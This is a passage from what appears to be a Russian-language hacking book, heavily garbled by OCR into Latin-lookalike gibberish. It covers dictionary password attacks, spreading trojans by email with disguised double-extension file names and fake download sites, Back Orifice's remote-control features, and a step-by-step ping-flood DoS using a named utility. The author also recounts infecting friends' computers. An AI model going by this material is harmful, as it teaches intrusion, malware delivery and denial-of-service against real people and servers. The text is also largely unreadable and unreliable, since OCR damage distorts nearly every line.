LTH K OIHOMY M TOMY K€ BbIBOAY, YTO GONbIIMHCTBO HAYMHAIOUIUX NOb3OBaTE-
nei koMnbloTEpa BLIOHPAIOT B KayeCcTBe Napois MMeHa CBOMX JIIOOUMbIX cobauek,
KOlleYeK, AaThl poXAeHHA WM HOoMepa TenedoHoB. Tak kak y Kolleyek H cobak
He 6biBaeT UmeH THNa kl43hYP51HBbs4#&g3, a wame moxHo Bctpetnts Mypau-
xoB, lllapuxos 1 Ty3nkos, To Takue uMeHa noabupatoTcs oueHb 6bICTpo. XopoLuo
noxoOpaHHbIA CloBapb MOXET CNOMaTh NPakTHYeCKH oOYI0 GHCTEMY, T. K. BCe-
rAa Hal@ZyTCA HEOMbITHblE MOMBb3OBATENH C MPOCTbIMKH MAPONAMH B BUAE HMMEH.
Camoe cTpaiuHoe, eciu y aTHX "4qaliHHkoB" OyayT gocrarouHo Gonblude npasa.

Cosnate cnosapb, B kotopom Oyaer caoBo kl43hYPSIHBbs4#&g3, HepeansHo,
NOTOMY YTO HUKTO J1a)Ke NPeACTaBUTL cebe Takoro He cMoxeT. Bbl Buaenu ¢puabm
"Xakepbt" ¢ AHpkenarHo# [Hkonn? B Hem roBopuioch © TOM, YTO aAMHHUCTPATO-
pbl IIOGAT HCNONb30BaTh YeThIpe napons. Her, UX KOHe4HO He ueTbipe, HO Ha 3ape
HuTepHeta pasHoobpasue naponeii aeiictBuTenbHo Gblio HeGonbwMM, MX GBLIO
He 6onee cta. Beab Toria He oyeHb 3a60THNKCH 0 6€30NacHOCTH, HUKTO He AyMa
O Xakepax.

B kauecTBe npuMMepa AaBaiiTe BCrOMHMM 3HaMeHuTelwero "yepes Moppuca",
KOTOpPbI NPOHHKAN B CHCTEMY, B3NambiBas ee no ciioBapto. CoGCTBEHHbIN NEKCH-
KOH 4YepBs ObLT JOCTaTOYHO ManeHbkHH W COCTOAN MeHee yeM M3 cTa clios. [Tomu-
MO 3TOro, NpH nepedope HCNONbL3IOBANMCH TEPMHHBI U3 CNOBaps, YCTAHOBIEHHOIO
B cMcTeMe. TaM KX Gblno Toxe He Tak yx MHoro. M Bot Gnarogaps Takomy npu-
MHTHBHOMY a/IFOPUTMY YE€pPBb CMOI MOpa3uUTh rpoMafiHekllee YUCIHO KOMNbIOTe-
pOB H cepBepoB. 310 ObUT OAMH M3 cambix MaccoBbix B3nomoBs!!! Jla, cnyuaii nas-
W, HO cpeaHuii npodeccHOHANU3M NoONbL3OBaTeNeil He pacTeT, T. K. CPEAH HUX
MHOTO HaYHHAIOLLKX.

Ho naxe ceityac, koraa Ha KaXkJioM Yriy ropopat 0 HeoGXoauMoil CTIOXKHOCTH na-
policd, BCTpeyalTcs WHAWBHAYYMbI, KOTOpble BbIGHPaIOT COBEPIUEHHO MPOCThie

ernmanr Harmisssnea » NN « doienien ena a naRAaran iinrmnannnn ssann an aKucainsaa
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B MI'TY um. baymana. A uro, ¢upma nnatur, Tak noyemy Obl He moexaTtb B Mo-
CKBY M BMecTO paboTbl He oTaoXHYTh TaM? U 1 noexan. B kabunere, rae mbl 06y-
yanuce, 6110 okono 20 KoMNbIOTEPOB, a BO BCceM yyeGHOM Kkopimyce MX 6blno Go-
nee cra. [Ipu 3TOM Ha BCEX KOMMbIOTEPAX Naposib afiMMHUCTpaTopa Obin password.
Hy, ato yxe BooGiue U3 cepuu rnynbiX koMeauh, koraa sam nuinyt: "Enter the
password" (Beegute napons), Bbl BBOAMTE cnoso “"password" (naponb) ¥ npoHu-
KaeTe B CHCTEMY.

MeTon nogbGopa o4eHb YaCTO UCMONB3YETCA M B3/IoMa NOYToOBbIX AulKMkos, FTP
H ApYrHX Ciyx0, B KOTOpPbIX NpOTOKON npeacTasiseT cOOOH npocTbie TEKCTOBblE
KOMaHIbl, H re HeT wWHdpoaHUi. B3nameiBath wHdpbl nepeGopomM CIMILIKOM
YTOMHUTENbHOE 3aHATHE, OCOOEHHO, eCNTU 1A NOIYYEHNS OAHOro 3allu(ppOBaHHOTO
TekcTa HeoOXOAUMO AOCTATOYHO MHOTO NPOLECCOPHOrO BPEMEHH.

[Noabop — 31O mOCTaTOUHO ACArHH npouecc, HO ecnau BbiGpaH AEHCTBHUTENLHO
IUTHHHBIA W CIIOXHBIHA Naposib, TO AaXe CaMbli Ny4lUnii CIOBapb He BbIPYYHT Xa-
kepa. Ho u B 3TOM ciyyae He cToMT paccnabnaTbca. Xakep MOXET BOCMOJNb30-
BaTbCA MOJIHbIM NMOAOOPOM MO BCEM CHUMBOJaM. DTO OTHHUMET B HECKOJIbKO pa3
Gonbile BpeMeHH, HO, B KOHWLE KOHLOB, AaCT NOJOKHUTENbHBIA pe3ynbTat. YTo6s!
3TOrO HE MPOM3OLLNIO, HYXKHO YCTRHOBHUTb KaKylO-HHOYIb CHCTEMY OOHapyXeHHs
atak. Xopoluuit ceteBoi 3kpaH 6e3 npobrem BbIABMT nonbitkH noabdopa u npo-
curHanusupyer o6 srom. YBeautech, 4TO Ball CeTEBOH 3KpaH COAEPXKHUT noaos-
HYKO (PyHKLHIO.

[1pu nonHom nepeGope CROXKHOro NApois MOXET NOHanOOHTLCS CIMILIKOM MHOrO
BPEMEHH, YTO MOXET OKa3aTbCi HE CONOCTaBHUMbIM C NOJYYEHHbIM pe3yNbTaTOM.
3a BpeMs noabopa naponb y)Ke MOXKET H3IMEHHTbCH, €CJTH N0JIb30BATENb MEHAET HX
kaxzable napy mecsues. [lonyyaercs, 4To 3alUTHTLCA OT nepeGopa MOXHO H pe-
rynsapHoOil CMeHO# napons, HanpHmep, Kaxabli Mecau. B HekoTopbix cHcTemax
MOXKHO JaXKe yCTaHaB/IHBaThb onpejeneHHble NOJUTHUKH, KOTOPble CMOIYT NPUHY-
JUTb Nojib30BaTeNns MeHATbh naponb. Ecnu B Bawei OC ecTb Takas BO3MOXXHOCTb,
TO 00f3aTeNlbHO Hcnonb3yiiTe ee ¥ ;i ceba nobumoro, 4ToGbl He 3albiBaTh pery-
NAPHO MEHATb Napob.

[Tpexxne 4em npuctynatb k noadbopy, Hy>KHO XOpOILO OTPEJaKTHPOBaTh CJIOBapH
HUMeH W naponeit. OyeHb BaXKHO 3HaTh, KaKyl0 CHCTeMY Bbl B3jiaMbiBaeTe. HmenHo
ans atoro mbl onpeaensaun sepcHio OC. Hanpumep, ecniv 3To cepBepHblii BapUaHT
Windows, To »enatenbHO, 4ToObl Cpein MMeH ydeTHbIX 3anuceid Gbin "AMuHU-
crparop”. Hy, a ecnu sTo UNIX-nogo6bHas cucreMa, To 06a3aTenbHO A0MKEH npH-
CYTCTBOBaTb "root", a Bce UMeHa THNa "AAMHUHHCTPATOP" HYXKHO yOpaTb, NOTOMY
yto B UNIX Takux yuerHbIX 3anuceii He co3naioT. KoHeyHo, ObiBaloT cny4au, Ko-
raa cneuManucT no 6e30NacHOCTH XOYET npeacTaBUTb CBOM cepeep kak Windows,
a Ha caMoM aefte 3To LinuX, HO Takoe ObiBaeT peako, NOTOMy YTO B Ki1aHe Linux
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BCAYECKU HEHaBHIAT BCe, 4TO cBs3aHO ¢ Microsoft, v gaHHeIll cnyuail MOXHO
onpo6oBaTh OTACNBHO BPYUHY!IO.

Hanunuue 3aBenoMo M3BeCTHOro MMeHH ynpoluaer noadop, T. K. OCTAETCA TONbKO
HaliTH naponb. [ToaToMmy, 4TOGBI YCAOKHUTD 3NOYMBILLIIEHHHKY 3anayy, Heobxo-
AWMO W3MEHHTh MMeHa YYETHbIX 3anucel. Ecnu ke BbI Hcnonb3yeTe CIOXKHbINA
naponb, TO UM MOXHO ClleNaTh NMomnpotlie, NoTOMY YTO €ro Jy4llle BCEro Aep)KaTh
B rosioee. UneanbHblit BApHAHT — YCJIOXKHUTH U Naposib, U HMA.

Hennoxo Gbu10 Obl BKAKOYKUTL B CJIOBaphb JtoOble UMEHa U NMapoiH, HCTIONb3yEMbIE
NO YMONYaHHIO I pa3HbIX Cayk0. O4eHb 4acTo aMMHHCTPATOPb! 3a0bIBAlOT WiH
NPOCTO JIEHATCA MOMEHATH NaponH Ha CnyXKObl, KOTOpble 3amylleHbl, HO HE MC-
nonb3ytores. OcobeHHO 3TUM rpelsat anMuHUCTpaTtopbl Windows, 4yro cBf3aHo
C HHU3KMM YPOBHeM 3HaHHH cnewumnanucTos, paboratomux ¢ 3tot OC. Hanpumep,
A cTankuBanca ¢ Hactpoikofi MS SQL Server 7.0, B xoTopo# BKIlOYEHA BCTPOCH-
Has ydyeTHas 3anuch sa, ¥ npu 3ToM abcontoTHo 6e3 mapons. HasepHoe, noatoMy
Microsoft coGupaerca yOpartbh 31O UMs yxke B cnedytomed sepcuu ceoeit CYB/,
a MS SQL Server 2000 Ha kaxaoMm wary npeaynpexnaer o Heo6xoaAWMOCTH UC-
NoNb30BaHUA Napons.

HHorna cnoxkHble NapoiH MOTyT Cbirpath 3iyio wytky. Ecau ciyvaitHo 3a6bITh
MY NOTEPATb JIMCTHK C NaponieM, To B CHCTeMy Helb3a 6yneT BOHTH u camoMmy.
B 3TOM ciyuae npuXxoauTca COOCTBEHHOPYYHO B3NIaMbIBaTh CHCTEMY nepeGopoM.
Bnaro, 4To Bbl XOTb NpUOAM3MTENbLHO 3HAETE CBOW Mapofib, H MOXHO YNpPOCTHTb
3a/1a4y, CY3HB KOJIMYECTBO BapHaHTOB.

Jina noabopa napons s onsth mory nocoseroBarb Shadow Scan unu CyD NET
Utils (Bko4eH oyeHb XOPOLUKWIA reHepaTop cioBaped W peann3oBaHbl noadopiuu-
KM N0 BCEM OCHOBHbIM MPOTOKONAM A/ COOTBETCTBYIOLIMX CTYXD).

1.6. TpossHCKKe nporpamMmmb!i

Hcnonb3oBaHHe TPOSHCKHX mporpaMm — camblii raynblit (nepebGop naponeii ewne
riynee, HO BCE )K€) M HEHANEXKHbIH B OTHOLUEHHH aAMHHHCTPATOPOB CETEH WM
Web-caitroB cnocob B3noma. Xots cpeaq alMHUHHCTPATOPOB BCTPEUYAIOTCH HEMpo-
¢reccHOHanNbI, HO Ha TakHe LWYTKHY Y)Ke Mano Kro nonaaaerca. Ho kpoMe HUX eCTb
ellle MHOXeCTBO MpPOCTbIX Nosb3oBareneil ¢ GONbIIKMK NPUBHITErHAMH U AOBEP-
vuBo# Xywoil. BoT UMeHHO HM H HaaO YCTaHaBIMBATh TPOAHCKHE NPOrpamMMbl,

'I'poAnckas nporpaMMma COCTOMT M3 ABYX 4acTel: KnHeHTcko# M cepeepHOi. Cep-
NEPHYIO YacTb HY)KHO NOAOPOCHTb Ha KOMNBIOTEP JKEPTBbI M 3aCTaBUTH €€ 3amyc-
'1uTh ¢aiin. Yalle Bcero TposHckas nporpaMma npornHKCbIBaETCA B ABTO3arpy3Ky M
crapryer BMecte ¢ OC, 1 npy 3TOM He3ameTHa B cucteMe. [locne sToro Bbl nol-
KAIOYHAETECh K CEPBEPHON 4aCTH C MOMOLILBIO KJIHEHTa M BbINOMHACTE 38/I0KCHHLIO
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B nporpamMmy AEHCTBUA, HanpHmep, nepesarpy3ka KoMnbiOTepa, BOPOBCTBO Napo-
JNEH U T. A.

Kaxk 3abpacbiBatb TposaHCKyl0 nporpamMMy? CamMblii pacnpocTpaHeHHbIH cnocob —
AWAKK INeKTpoHHOH nouthbl. [IpocTo naere ucnonuseMomy (ailny cepBepHoil dac-
TH Kakoe-HUOyAb npHBiIeKaTelibHOe UMA M oTnpasasere coodllleHue xepTie.
B Texcre nucbMa gonmkHbl ObiTh MArKHE, HO 3aMaH4MBble TNPU3bIBbI 3aMYCTHTH
npuUkperieHHelit (aiin. 310 To Xe camoe, UTO U pacnpocTpaHeHHe BHPYCOB,
NUCbMAa C KOTOPbIMH Mbl BHIHM Kaxxabli feHb. Ecnu nonb3oBarens 3amycTUT cep-
BEPHYIO 4acTh, TO CUWTaiiTe, YTO Bbl CTANM LapeM Ha ero komnbioTepe. Tenepb
BaM OyzseTr JOCTYNHO BCE, YTO MOXET JUif Bac cienarb 60eBoi KOHb.

Kakoe nate umsa ¢aiiny TPOAHCKOW nporpaMmbl, 4ToObl 3aHHTEpPECOBATb MOJIb-
zoBaTena? OC Windows ouyeHb 4acTO He MOKa3biBaeT pacllMpeHUs BCeX 3ape-
FHCTPUPOBAHHBIX B cHcTemMe THnoe (aiinos. Ecau Bbl HasoBere (aiin
Anna_Kurnikova.jpg.exe, To OC cnpsuer nocnesgHee paciuupeHue (exe), u noboi
NoJib30BaTeNib NOAYMAET, YTO BUAMT (paiin u3obpaxkenus. [ns Gonblued Hane)KHOCTH
ny4uie npucBOUTb Takoe UmA: "Anna_Kurnikova.jpg exe". B atom cnydae, aaxe
eCJIM paclIUpPEeHHE He NPAYETCA MO YMONUYAHHUIO, ero Bce paBHO BUAHO He Oyaer.

Sl nBaxkabt oTNpaBnAn APY3bAM TPOAHCKYIO MpOrpaMMy MO 3MEKTPOHHOH nouTe,
u o6a pa3a npouecc npotuen yaauHo. [lepBbiii pa3 370 npoH3oLIO Ha cnop, Koraa
MOI Apyr cKasajl, 4YTO s He CMOrY 3apa3HTb ero KOMMbIOTEp TakMM cnocobom.
Bropoii paz s cozgan TpPOAHCKYIO mporpammy, € NMOMOIbIO KOTOpOH cobupancs
NOAIIYTHTb HaX MOUM 3HakOMbIM. J[1A 3TOro s MCNOJbL30BAN OYEHb HHTEPECHbBIH
u a¢PexTHBHbIA MeToa. MTak, 4ToObl noNb30BaTENDb 3aNYCTHI HYXKHYIO NpOrpamMMmy,
HYXKHO 3aCTaBHTb €r0 CaMOro ckayaTb W 3anyCTHTb WcnoiHAeMbli ¢aiin. S ornpa-
BHJl NHCbMO, B KOTOPOM MpopeKaMHpoBan GecrulaTHYKO nporpammy, KOTOpPYIO
MOJKHO CKa4aTb C 3apaHee CO3aHHOro MHotO Web-caiita. 'nasHoe — BbiGparh ee
HMs, 4yToObI OHO 3aMHTEepecoBano nonb3oBatens. Hanpumep, ecaun xeprtea nobuT
PHUCOBATh, TO MOXHO NpPeAJIOKHTh CKayaTh HOBbIH rpaduyeckuil apdexr.

[TucbMO MOXKeT BbITAAETh, Kak cnaM. Ckosibko Obl HE FOBOPHITH, HO BCE Mbl YHTA-
eM UM XOoTs Obi 3arnsagbiBacM B Takue cooOuleHuns. Ecau cpa3y 3aMHTepecoBarth
)KEepTBY, TO OHa 006s3aTenbHO BbINOAHHUT Bally npocb0y. Bo3mMoXHO, nepBoe nUChb-
MO nonajeT B KOP3HHY, HO XOTA Obl B TPeTHI pa3 oHO GyAeT NpOYHMTaHO, U Bbl
naobberech HY)KHOro pesynbrarta. boiee Tpex nonbiTok MOXKHO HE A€NaTh, NOTOMY
YTO WM Yy JKEPTBbI CTOMT NOYTOBLIA (PUALTP, WIH Bbl €rc HE 3aMHTEPECOBAIIH.
HyHO npuayMbIBaTe HOBYIO NpOrpaMMy M COYHHATb APYroe MHChMO.

UtoObi xkepTBa HUUYEro He 3anoao3puia, Web-cailT Jo/keH BbIrAAETh Kak MOXHO
npoeccHoHaNbHee, COAEp)KaTb ONMUCaHHE BO3MOXHOCTEH CKayWBAaeMOH npo-
rpaMMbi U CHUMKH 3KpaHoB. Bca ata mHdopmaumus Gepetca ¢ peanbHoro Web-
caiiTa KakOH-HMOy1b He OYeHb 3HAMEHUTOH (PHPMbI UITH NPOrpaMMHCTa-0HHOUKH.
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O6a moux ToBapuIlla MONANMCh Ha 3Ty YIOUYKY, H NpPH 3TOM OHH OYEHBb XOPOlLO
3HAKOMbI CO BCEMH METOaMH MPOHUKHOBEHHS BUPYCOB B CHCTeMY. KoHeuHo e,
npH OTNpaBKe CepBepHOM YacTH A MUCNONbL30BAJI AaHOHUMHOE NUCBMO, YTOOB MeHA
He BbluMcTHIH. Takum o6pa3oM, a1 nozaboruncs, uToObl ¢aiin 3amyCcTHIN, U CKPbLI
MCTOYHHK NPOUCXOXKIAEHHUA TPOSHCKOH nporpammbl. JlaHHbIH METOA OYeHb CIO-
XKeH, T. K. TpeGyeT JOCTaTOYHO BpPeMEHH M CHJI Ha NOJArOTOBKY, Co3aaHWe Web-
caiiTa, pa3MellleHHe Ha HEM CepBepPHOI YacTH TPOSHCKOW NporpaMMbl.

Ecau TposHCKas mporpamMma HanpasjieHa Ha BOpOBCTBO naponei, To nocne 3apa-
)KEHUS OHa MOXKET He3aMeTHO IS MOJIb30BaTeNs BbICAaTh NUCHMO C (aiiiom
naponeii Ha onpeneneHHbId anpec aneKTpoHHo# nouthl. [IpodeccHoHansl nerko
HaxoaAT TakHe afpeca (C NOMOLUBIO OTIAAKH NPHIOKEHHUA), HO HA 3TOM BCE OCTa-
HaBnuBaeTcA. [IpodeccHoHanbHble Xakepbl He MTynbl, ¥ IJI TPOAHCKHUX NporpamMm
perucTpHpYIOT NOYTOBbIE afipeca Ha GecnnaTHLIX cepBepax, NpH 3TOM yKa3blBaeT-
cA no)kHaa MH(popmalua o Branenble. 3N0yMbILTEHHHK 3aBOAMT NOYTOBbIH ALIMK
M MpOBEpPAET €ro Ha npeiaMeT [HUCEM C NaposiisMHU TOJILKO 4epe3 aHOHUMHBIH
npokcu-cepBep, M y3HaTbh peanbHblil IP-aapec aToro yenoBeka CTaHOBHTCHA OYEHb
CIIOXKHO.

Tpostckue nporpammbl nony4yunu GosiblIOe pacnpoCTpaHEHHE H3-3a TOrO, YTO
BLIYHC/IHTL aBTOpa Npy COGNIOAEHHM MPOCTbIX NPaBW/I aHOHUMHOCTH He MpoOcCTo.
[TIpu 3TOM HCNONb30OBaHHE CaMHUX NPOTrpaMM CTAN0O NPUMHUTHBHBIM 3aHATHeM. Cel-
yac Aake He HaAo ObITh NpOrpaMMHUCTOM, YTOOBI CO3MaThb CBOK COOCTBEHHYKO
nporpaMMy, AOCTATOYHO BOCMOJNb30BAThCA JIIOGbIM KOHCTPYKTOPOM, KOTOPBIX
ceiivac B MHrtepHere npeaocratouno. CaMbiM 3HaMeHMTbIM M3 HuUX ctan Back
Orifice, 6narogapas koropoMmy Obino npou3BeReHO O4eHb GONMbLIOE KOSHYECTBO
B3/10MOB. Ero cepeepHas 4acTb yCTaHaBNHMBAeTCA Ha KOMNbIOTEP XKEPTBbI U NO3BO-
JNIAET XaKepy BbINONHATb CNEeAYIOIHE NeHCTBHS:

OCYLIECTBAATb AOCTYN K JKECTKOMY AHMCKY YAaleHHOro KOMNbIOTEpa;
peAakTHPOBAaTb PeecTp;
3arnycKaTb NPOrpaMMbl Ha 4Y)KOM KOMIbIOTEPE;

OTCJIC)KHBATb BBEACHHLIC NMAapPOJTH;

agaaaaaa

KOMUPOBaTh COAEPACUMOE IKPAHA,;
O ynpasnate npoueccaMu, B TOM YHCIie U nepe3arpy3Koi.

B 370#1 nporpaMme UMeeTCs BOIMOXHOCTb nepes cOopkoi ucnonHsemoro ¢aiina
Job6asnsaTs paciuperus (Plug-in), kotopbix B UHTEpHETE NpeaocTaToO4YHO.

OnacHOCTb, KOTOPYIO TaAT B cebe TPOAHCKHE NPOrpamMMbl, MOATBEPKIAAETCA H TOM,
410 GOMBUIMHCTBO RHTHBUPYCHBIX MPOrPaMM pearupyloT Ha ux Hanuuue. Hanpumep,
AHTHBUpPYCHbie nporpamms MaeHTHOHuupytoT Back Orifice, kak Bupyc Win32.BO
(y K@KA0ro aHTUBMpyca MOXKET ObITh CBOE HMEHOBaHHE BPCIOIIOCHbIX POI'PAMM),
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TposHckHe nporpaMmbl MOTYT pacnpoCTpaHATbCA U KaK BHPYCbl, HCNONb3ysa A
3TOro pasnHyHble ys3sumocTH. Hanpumep, Obian ciyyan, koraa B NoyToBOH npo-
rpamme Outlook Express Haxoaunn cepbe3Hble OUIHOKH, C MOMOLLBIO KOTOPbIX
MOXHO GbLIO aBTOMAaTHYEeCKH 3aMycKaTb NporpamMmbl, MPHKpenaeHHbIE K NHCbMY.
[lpeacraBbTe ceGe, nonb3oBarenb BbIOMpaeT NUCbMO, 4YTOObLI €ro NpPOUYMTATD,
a npuUKkpenieHHas TPOAHCKaA NPOrpamMMa UK BUPYC 3allyCKaeTcs aBTOMaTHYECKH
1 6e3 cnpoca.

Ja, ckonbko He nuiuyT 06 OMacHOCTH TPOAHCKMX MPOrpaMM, AaXe B KpYMHbIX
KOpMOpauMAX XOpOLUO OCBeJOM/IeHHble JIIOAH MOTYT NocTpanaTh OT HHUX. XOAAT
CNYXH, 4TO HMeHHo Onaromaps TakMM nporpammam 3 Heap Microsoft ymnu uc-
xoaHble koxsl MS Windows.

1.7. Denial of Service (DoS)

Ewe oaHa aTtaka, koTOpyIO MCnonb3yloT Xakepbl — 310 DoS (Denial of Service,
oTka3 B obcnyxuBaHuM). 3aKIlO4aeTCs OHa B TOM, 4YTOObl 3aCTaBMTb CepBep He
OTBEYaTb Ha 3anpockl nonb3osareneid. Kak 3tro MoxHo caenatb? OueHb 4acTo Ta-
KOro pesynbtata QoGHBalOTCA C MOMOLLbLIO 3auMknuBaHus pabotbl. Hanpumep,
€C/I4 cepBep He NPOBEPAET KOPPEKTHOCTb BXOASUIMX NAKETOB, TO XaKep MOXET
cAenaThb Takoi 3anpoc, koropelii 6yner obpabarbiBaThcs BeyHO, a Ha paboTy ¢ oc-
TaNbHbIMH COEAMHEHHAMM He XBATHUT MPOLECCOPHOrO BPEMEHH, TOrAa KIHEHTHI
nosiy4aT oTkas oT o6Cay>KUBaHHA,

DoS-ataka MoxeT npon3BogUThCA JABYMs ciocobamu: yepes ownbKy B nporpamme
H neperpysky kaHana Win MOLLHOCTH aTaKyeMOH MalllHHbl,

[lepBbifi cnoco6 Tpebyer 3HaHUA yA3BUMOCTH Ha cepBepe. PaccMoTpuM, kak npo-
MCXOAMT OTKa3 OT ofcnyxuBaHUsa uyepe3 nepenonHeHue Oydepa (dallle Bcero uc-
nonb3yemas owunbka). JonycTum, uro Bbl AOMXKHBI nepesaTbh Ha CepBep CTPOKY
"HELLO". [lns 3TOoro B cepBepHOi 4acTH BbLIAENAETCA NamaATb AJIA XpaHeHHS
5 cumBonoB. CTpyKkTypa nporpaMMbl MOXET BbIMNISAETb NPUMEPHO ClEAYIOLLHUM
obpa3zom:

Kon nporpamm

Bydep nna xpaneHMa 5 cumBosOB

Kon nporparmmul

[TpeanonoxuM, nonb3oBaTeNb OTNPABHT HE MATb, @ CTO cUMBONOB. Ecnu npu
npuHeMe HHpoOpMauHM nporpamMma He npoBepHUT pasmep Gaoka, TO npH 3anUCH
AaHHBIX B Oytep OHM BhIAAYT 3a ero npeaenbi ¥ 3anuulytTcs NoBepx kKoaa. 3To
3HAYWT, YTO nporpamma Gyaer 3anopuyeHa M He CMOXKET BbITNONHATb KakWX-THO0
NeWCTBHUH, W, CKOpee BCEro, NpoM3oiier 3aBucaHue. B peaynbrarte cepsep He Gyaer
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OTBe4aTbh Ha 3anpoChbl KJIMEHTa, T. €. COBEpLUMTCA KnaccHyeckas DoS-aTaka yepes
nepenonHexue Oydepa.

Takum o6pasom, KOMNbIOTEP HE BITOMANH, K HH(pOpPMaLMA OCTalach HETPOHYTOM,
HO cepBep nepectai ObITb AOCTYMHBIM No ceTH. B nokanbHOH ceTH Takylo araKy
BooGlle HecnoxHO npoussecTH. JIna storo nocratouHo ceoit [P-agpec noMeHATs
Ha aapec atakyeMoill MallluHbl, U Npousoitaer koHPAUKT. B myyuiem citydae He-
JOCTYNHOMW CTAHEeT TONbKO WITypMyemMas MalllMHa, a B XyJuieM — o0e MallHHbI He
cMoryT paborarb.

Jlns neperpy3ku pecypcoB aTakyemol MallMHbl BOOOlle He HAaO HHYero 3HarTh,
NOTOMY 4TO 3TO BOMHHA, B KOTOpO# nobexaaer ToT, KTo cuabHee. Pecypebl noboro
KoMMnbloTepa orpaHuyeHbl. Hanpumep, Web-cepsep ans ceasu ¢ wiveHTamn mo-
’KET OpraHH3OBbIBaTb TONbKO ONPEAENIEHHOE KOMHYECTBO BUPTYaNbHbIX KaHAJOB.
Ecnu ux cozgate Gonbwe, To Web-cepeep cTaHOBHTCS HexocTynHbIM. s coBep-
LIEHHA TakOW axklUMM AOCTATOYHO HanucaTb nporpammy Ha nioGoMm s3blke npo-
rpaMMHpOBaHnA, OeCKOHEYHO OTKpbIBalOLIYlO coeauHeHUs. PaHo uiaM no3gHO
npenen Oyner npesbilleH, U cepBep HE CMOXET paboTaTh ¢ KIIHEHTaMH.

Ecnu Her nporpaMMHbIX orpaHHuyeHuH Ha pecypcbl, TO cepBep Oyaer ob6pabatbi-
BaTb CTO/IbKO NOAKJIOYEHHH, CKOMbKO CMOXET. B TakoM ciaydae ataka MOKeT
NpPOM3BOAMTLCA HA KaHan CBA3H HIIM Ha cepsep. Bbibop Lenu 3aBUCHT OT Toro, 4To
cnabee. Hanpumep, ecan Ha kanane B 100 MOGuT/c cTOMT KOMNBIOTEP € NpOLIECCO-
pom Pentium 100 MI'y, To HaMHOro npolle BbIBECTH U3 CTPOS KOMMbIOTEP, YEM
neperpy3uTb AaHHbIMH KaHan cBa3H. Hy, a ecni 3To A0CTATOYHO MOLLHBIH CepBep,
KOTOPbI# MOXET BBINONHATb MHUUTMOHBI 3aNpPOCOB B CEKYHAY, HO HaXOAWUTCH Ha
kaHane B 64 KOuT/c, TO nerye 3arpy3uTb KaHal.

Kak npoucxoaut 3arpy3ka kaHana? JlonycTuM, 4TO Bbl HaXOAMUTECh B YaTe, H KTO-
TO BaM Harpy6un. Bbl y3Haere ero [P-anpec v BbiscHaercs, uro o6HauKK paboraer
Ha NPOCTOM MOJEMHOM COeMHEeHHH co ckopocThio 56 Kbur/c. Jlaxe ecnu y Bac
TakKoe ke coeiHHeHHe, MOXHO Oe3 npobneM neperpy3uTb kaHan obuaunky. Iing
3TOre Hanpasnsem Ha ero [P-anpec 6GeckoHeuHoe KkonuuyecTBO ping-3anpocoB
¢ 6onbiuM pasmepoM nakera. KomnbioTep »KepTBbl fjomkeH OyaeT oTBedaTb Ha
HHUX. ECIH nakeToB MHOro, To MOLLHOCTH KaHalla XBaTHT TOJbKO Ha TO, YTOOBI
IIPUHHUMATb M OTBEYaTb Ha Ping-3anpochi, H OOUAUHK y)Ke HE CMOXET HOpMabHO
paGorats B UHTepHere. Ecnin y Bac kaHan Takoii e, TO U Ballie coeauHeHHe Oyaer
SHHATO HCIJIIOYHTENBHO NPHEMOM-OTCHITKON GOJbILIMX MakeToB. 3TO TOro CTOMT?
liciiu aa, TO MOXeTe NpUCTYNaTh.

JUia peanusauuu DoS-aTaky ¢ nOMOILLIO ping-3anpocoB BOCNONb3yeMCH YTHITHTOMN
('yD) NET Utils. 3anyctute nporpammy u Bbibepute B Mento Utils | Ping server.
I3 nossuBlueMcs okHe nepeliauTe Ha Bkiaaky Options (puc. 1.4). B nosne Number
of packets (konHyecTBO nNakeToB) BBEAHUTC O4eHb Oonbiuoe 3taveHue (11ecko/ibKO
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Thicay). YcranoBute 1 B none Time out (Bpems oxunanus orsera). B atom ciy-
Yyae NporpaMma He CTaHeT XOXKHIATbCH OTBETa, a KAKAYI0 ceKyHAy 6yaer Hanpas-
natb ping-naker. B none Size of packets (Pazmep nakera) Takxie ycTaHOBHTE
O6onbwoe 3Hauenue, Hanpumep, 10 000, yrobsl OAHUM MAKETOM OTMPABAANOCH
MHOro JaHHbIX. Tenepb MOXHO 3aMycKaTh onepaLluio, Beeas HyxHblit [IP-agpec.

Puc. 1.4. Hactpoiika oTnpaBeku ping-nakeTos

Takum o6pa3omM, Mbl MOXKEM 3arpy3UTh KaHa JKEPTBbi, HO MPH YCIOBHH, YTO HaLll
KaHasl TaKoi ke unu Oosiblue, YeM y arakyeMoro Kommnelorepa. Ecnu y Bac cko-
pOCTb COEIHHEHUS MEIUIEHHEH, TO yNacTCs 3arpy3uTh TOJILKO 4acTh KaHana, paB-
HYIO TIpONYCKHOM cocoOHOCTH Bawlero coexnHeHns. OcTanbHas 4acTh OCTaHETCA
cBOOORHOM, U XXepTBa CMOXKET HCMoNb30BaTh €e. C Apyroit cTOpoHbl, CBA3b Oymer
3aHHXKEHHOIM, ¥ XOT# Obl Yero-To Mbi 0ObLEMCH.

B cnyuae ataku Ha cepBep W €ro NMpoLECCOp Hall KaHajl MOXET ObITb HAMHOTO
cnabee, rnaBHOE — MPaBUALHO onpeaenuTs cnaboe 3seHo. JJomycTuM, 4To cepeep
MpeAoCTaBAAET YCNYry CKayWBaHHA M XpaHeHHa daitnoB. YTobbl meperpy3urh Ka-
Han Takoro cepaepa, Hy>XHO 3anpOCHTb OJIHOBPEMEHHOE CKaYMBAHHE HECKOBbKUX
oueHb Oonbiunx (ainos. CkOpocTh CBA3M Pe3KO yMajeT, U CEPBEP MOXET Naxe
nepecTaTb OTBEYATh HA 3amnpoChbl OCTANbHBIX KJIMEHTOB, NPH 3TOM 3arpy3ka npo-
Lieccopa cepeepa MoxeT ObITh Aajieka OT MakCUMabHOH. Ecniu HenpaBunbHO oripe-
aenuth cnaboe 3BEHO W HApPacTUTh MOWHOCTb CEpBEpa, TO MPOH3BOAUTEILHOCTD
HE YBEJIMUUTCA, MOTOMY 4TO TpeOyeTCA pacluMpeHHe KaHama CBA3H.

JUns 3arpy3kn npoueccopa Toxe He Tpebyercs cnuukom 6onbiuoi kanan. HyxHo
TONBKO MoaodpaTh 3anpoc, KOTOpbIit Oyaer BBINMOAHATLCA O4YEHb jAosiro. Jonyc-
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THM, YTO Bbl peLLMIH NPOU3BECTH aTaKy Ha CepBep, MO3BOJAIOLIMHA NepeBOAUTL Ha
Apyroit a3blk YkasaHHble Web-ctpanuupel noboro Web-catita. Haxooum Web-
CTpaHHLy ¢ 6OJbLIMM KOJTMYECTBOM TEKCTA, HaNPUMep, KHUIY WKW AOKYMEHTALHIO
RFC (Request for Comments, paGouee npeanoxkeHue), H NocbUIaeM MHOXECTBO
